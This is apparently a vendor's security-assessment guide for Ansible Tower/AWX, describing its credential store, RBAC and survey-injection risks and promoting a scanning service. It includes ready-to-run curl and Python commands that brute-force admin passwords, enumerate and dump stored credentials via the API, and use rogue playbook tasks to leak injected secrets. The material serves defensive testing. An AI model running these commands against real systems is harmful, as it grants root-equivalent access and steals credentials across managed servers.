Red Hat Ansible Tower (and its open-source upstream AWX) is the leading enterprise IT automation platform, managing configuration and deployment across thousands of servers. Its security surface is significant: the Tower credential store holds SSH private keys, become passwords, vault encryption keys, and cloud API credentials — users with view access to credentials can trigger jobs that use them, and overly broad RBAC roles expose credentials across teams; job template survey variables pass user input to playbooks without sanitization, enabling command injection when playbooks use {{ survey_variable }} in shell commands; AWX ships with a default admin account whose password must be set during setup but is often set to weak values; custom credential type injectors write credential values into playbook environment or files where they can be read by any task in the job; and Tower's machine credential allows SSH access to all managed hosts — gaining Tower admin access is functionally equivalent to root on every managed server. This guide covers systematic Tower/AWX security assessment.
# Ansible Tower/AWX default ports: 80 (HTTP redirect), 443 (HTTPS)
# AWX REST API at /api/v2/
# Check Tower/AWX API version (no auth required)
curl -s https://tower.example.com/api/v2/ 2>/dev/null | python3 -m json.tool | head -10
# Returns available API endpoints
# Test default admin credentials
curl -s -u "admin:password" https://tower.example.com/api/v2/me/ 2>/dev/null | \
python3 -c "
import json,sys
data = json.load(sys.stdin)
if 'id' in data:
print(f\"Authenticated as: {data.get('username','?')} (superuser={data.get('is_superuser',False)})\")
else:
print('Auth failed:', data.get('detail','?'))
" 2>/dev/null
# Common weak passwords to test for admin:
PASSWORDS=("password" "admin" "tower" "ansible" "changeme" "secret" "admin123" "awx")
for PASS in "${PASSWORDS[@]}"; do
HTTP=$(curl -s -o /dev/null -w "%{http_code}" -u "admin:${PASS}" \
https://tower.example.com/api/v2/me/ 2>/dev/null)
if [ "$HTTP" = "200" ]; then
echo "SUCCESS: admin:${PASS}"
break
fi
done
# Tower stores credentials with the private key data encrypted, but the REST API
# can reveal metadata and, in some cases, the credential values themselves
# List all credentials (requires auth)
curl -s -u "admin:${PASS}" "https://tower.example.com/api/v2/credentials/?page_size=50" 2>/dev/null | \
python3 -c "
import json,sys
data = json.load(sys.stdin)
creds = data.get('results', [])
print(f'Credentials: {data.get(\"count\",0)}')
for c in creds[:20]:
print(f\" [{c['id']}] {c.get('name','?')} type={c.get('credential_type_id','?')} org={c.get('organization',{}).get('name','?') if c.get('organization') else 'none'}\")
" 2>/dev/null
# Get specific credential details (SSH keys stored encrypted but inputs may be partially visible)
CRED_ID=1
curl -s -u "admin:${PASS}" "https://tower.example.com/api/v2/credentials/${CRED_ID}/" 2>/dev/null | \
python3 -c "
import json,sys
cred = json.load(sys.stdin)
print(f\"Name: {cred.get('name','?')}\")
inputs = cred.get('inputs', {})
for k, v in inputs.items():
print(f\" {k}: {str(v)[:100]}\")
" 2>/dev/null
# Trigger a job that uses the credential — the credential is injected into the execution environment
# A rogue playbook task can read the injected credential from the environment
# Example: if credential injects SSH_PRIVATE_KEY env var, a debug task reveals it
| Security Test | Method | Risk |
|---|---|---|
| Weak admin password | Try admin/password, admin/admin, admin/tower — check /api/v2/me/ for 200 response | Critical |
| Credential store exposes SSH keys to broad user base | GET /api/v2/credentials/ as non-admin user — list credentials accessible via RBAC role | High |
| Job template survey variable command injection | Submit survey answer with shell metacharacters; check if playbook echoes unescaped value | High |
| Custom credential injector leaks value in job output | Create playbook task that runs: echo $INJECTED_VAR — credential value appears in job log | High |
| Overly broad organization admin role grants credential access | Test team member RBAC — verify non-admin users cannot view credential details | High |
| Tower API token in CI/CD env vars or code | Search repos/CI for TOWER_OAUTH_TOKEN or AWX_TOKEN — token grants full API access | Medium |
Ironimo tests Ansible Tower and AWX deployments for weak admin credentials on initial setup, credential store exposure via REST API to insufficiently-scoped RBAC roles, job template survey variable command injection via unsanitized playbook variable usage, custom credential type injector leakage via job output log, over-broad organization admin role assignments granting cross-team credential access, and Tower OAuth tokens exposed in CI/CD pipeline environment variables.
Start free scan